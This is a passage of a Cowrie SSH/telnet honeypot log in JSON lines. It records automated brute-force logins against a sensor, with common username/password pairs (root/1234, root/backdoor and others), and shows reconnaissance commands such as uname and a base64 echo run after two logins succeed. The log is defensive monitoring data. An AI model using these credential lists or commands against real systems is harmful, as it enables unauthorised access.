{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:35.088509Z","src_ip":"101.44.96.62","session":"faef9d671355","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:35.737542Z","src_ip":"101.44.96.62","session":"faef9d671355","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:36.956587Z","src_ip":"101.44.96.62","session":"faef9d671355","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":42412,"dst_ip":"159.203.135.109","dst_port":22,"session":"312192c54bb0","protocol":"ssh","message":"New connection: 101.44.96.62:42412 (159.203.135.109:22) [session: 312192c54bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:48.272017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:48.280796Z","src_ip":"101.44.96.62","session":"312192c54bb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:48.499194Z","src_ip":"101.44.96.62","session":"312192c54bb0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1234","message":"login attempt [root/1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:49.154827Z","src_ip":"101.44.96.62","session":"312192c54bb0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:49.627744Z","src_ip":"101.44.96.62","session":"312192c54bb0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:49.630971Z","src_ip":"101.44.96.62","session":"312192c54bb0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:49.851988Z","src_ip":"101.44.96.62","session":"312192c54bb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:34:49.856510Z","src_ip":"101.44.96.62","session":"312192c54bb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":59662,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0e5a7157f28","protocol":"ssh","message":"New connection: 101.44.96.62:59662 (159.203.135.109:22) [session: b0e5a7157f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:01.731803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:01.738321Z","src_ip":"101.44.96.62","session":"b0e5a7157f28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:01.956833Z","src_ip":"101.44.96.62","session":"b0e5a7157f28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:02.612666Z","src_ip":"101.44.96.62","session":"b0e5a7157f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:03.832474Z","src_ip":"101.44.96.62","session":"b0e5a7157f28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":36584,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bef161a320a","protocol":"ssh","message":"New connection: 85.198.97.85:36584 (159.203.135.109:22) [session: 2bef161a320a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:10.305591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:10.310776Z","src_ip":"85.198.97.85","session":"2bef161a320a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:10.450355Z","src_ip":"85.198.97.85","session":"2bef161a320a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"backdoor","message":"login attempt [root/backdoor] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:10.851260Z","src_ip":"85.198.97.85","session":"2bef161a320a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:11.153049Z","src_ip":"85.198.97.85","session":"2bef161a320a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:11.157004Z","src_ip":"85.198.97.85","session":"2bef161a320a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:11.296646Z","src_ip":"85.198.97.85","session":"2bef161a320a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:11.301702Z","src_ip":"85.198.97.85","session":"2bef161a320a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"52.7","message":"Connection lost after 52.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:12.310314Z","src_ip":"112.118.57.75","session":"c92a5e825bd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":52446,"dst_ip":"159.203.135.109","dst_port":22,"session":"3759a16bed94","protocol":"ssh","message":"New connection: 101.44.96.62:52446 (159.203.135.109:22) [session: 3759a16bed94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:15.253828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:15.258699Z","src_ip":"101.44.96.62","session":"3759a16bed94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:15.476463Z","src_ip":"101.44.96.62","session":"3759a16bed94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:16.127422Z","src_ip":"101.44.96.62","session":"3759a16bed94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:17.348512Z","src_ip":"101.44.96.62","session":"3759a16bed94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":43736,"dst_ip":"159.203.135.109","dst_port":22,"session":"360d0f427cfa","protocol":"ssh","message":"New connection: 101.44.96.62:43736 (159.203.135.109:22) [session: 360d0f427cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:28.727597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:28.733010Z","src_ip":"101.44.96.62","session":"360d0f427cfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:28.949044Z","src_ip":"101.44.96.62","session":"360d0f427cfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:29.597747Z","src_ip":"101.44.96.62","session":"360d0f427cfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.104","src_port":55035,"dst_ip":"10.17.0.5","dst_port":23,"session":"726effca7d3a","protocol":"telnet","message":"New connection: 205.210.31.104:55035 (10.17.0.5:23) [session: 726effca7d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:30.737504Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:30.817260Z","src_ip":"101.44.96.62","session":"360d0f427cfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":57248,"dst_ip":"159.203.135.109","dst_port":22,"session":"a32f118232eb","protocol":"ssh","message":"New connection: 195.178.110.218:57248 (159.203.135.109:22) [session: a32f118232eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:40.554502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:40.559226Z","src_ip":"195.178.110.218","session":"a32f118232eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:40.639241Z","src_ip":"195.178.110.218","session":"a32f118232eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:40.878468Z","src_ip":"195.178.110.218","session":"a32f118232eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:42.027000Z","src_ip":"195.178.110.218","session":"a32f118232eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":55012,"dst_ip":"159.203.135.109","dst_port":22,"session":"cddcbd0de051","protocol":"ssh","message":"New connection: 101.44.96.62:55012 (159.203.135.109:22) [session: cddcbd0de051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:42.195772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:42.201031Z","src_ip":"101.44.96.62","session":"cddcbd0de051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 